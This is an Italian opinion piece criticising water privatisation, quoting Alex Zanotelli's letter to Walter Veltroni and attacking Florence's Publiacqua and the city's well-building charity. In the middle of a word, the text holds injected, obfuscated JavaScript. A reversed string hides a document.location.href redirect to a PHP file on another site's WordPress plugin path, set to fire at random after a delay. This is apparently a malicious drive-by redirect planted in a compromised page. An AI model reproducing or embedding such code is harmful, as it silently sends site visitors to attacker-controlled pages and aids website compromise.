Giustizia o carità?

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L’ONU parla di ‘Crisi Mondiale dell’Acqua’ con epicentri nel Mediterraneo, Cina, India, USA. Il World Economic Forum di Davos afferma che l’acqua sarà il maggiore problema del mondo. Nell’ambito del Global Compact – programma Onu di collaborazione tra aziende e Ong – le multinazionali Nestlè, Coca Cola, Pepsi Cola, Unilever si coalizzano per affrontare questa crisi.
Sempre sull’acqua, e in piena campagna elettorale, Alex Zanotelli scrive al segretario del PD Walter Veltroni: “Non chiedo carità (non serve!), chiedo giustizia, quella distributiva che è il campo specifico della politica. Parlo della sete del mondo. Perché nel tuo programma elettorale appoggi la privatizzazione dell’acqua? Lo sai che questo significa la morte di milioni di persone per sete? La politica di privatizzazione si paga con milioni di morti!”
Zanotelli ricorda a Veltroni il suo pianto a Korogocho, davanti agli effetti tragici del liberismo economico: “Puoi trasformare le tue lacrime in gocce d’acqua per i poveri? L’acqua è sacra, l’acqua è vita. Walter, perchè non puoi proclamare che l’acqua non è una merce, ma un diritto fondamentale umano, che deve essere gestita dalle comunità locali con totale capitale pubblico, al minimo costo possibile per l’utente, senza essere s.p.a.?”
A Firenze la s.p.a. si chiama Publiacqua. Dal momento della privatizzazione le nostre bollette hanno subito aumenti stratosferici. Nel Nord del mondo per l’acqua non si uccide, si strizzano solo i portafogli dei cittadini, ma la logica è la stessa. Le privatizzazioni svuotano il senso di comunità, fanno delle autorità locali degli azionisti complici delle multinazionali. Più guadagna uno e più incassa l’altro. E la collettività paga due volte, prima con le tariffe e poi con i bilanci comunali che devono ripianare i deficit.
Ecco la crisi della politica, incapace di sostenere gli interessi diffusi della popolazione, schiacciata sui bisogni del potente di turno, che vince alla gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande dove più avanzato è il degrado della politica. Il Comune di Firenze però crede di essere più furbo. Anziché impegnarsi per un sistema pubblico che garantisca a tutti l’acqua come bene primario, prende un altro centesimo di euro dalla nostra bolletta e con quei soldi va a costruire pozzi in Africa, Asia e America Latina. Poi chiama i giornali e le televisioni e fa propaganda per spiegare quanto siano virtuose le sue politiche per l’acqua.
Mai carità fu più pelosa di questa. Da una parte, con passaggi di centinaia di milioni di euro, contribuisce a imporre sul territorio la presenza delle multinazionali che assetano i poveri nel mondo; dall’altra, con gli spiccioli, promuove una visione consolatoria della nostra società, così buona che dà da bere a qualche migliaio di persone, grazie al centesimo della vergogna.

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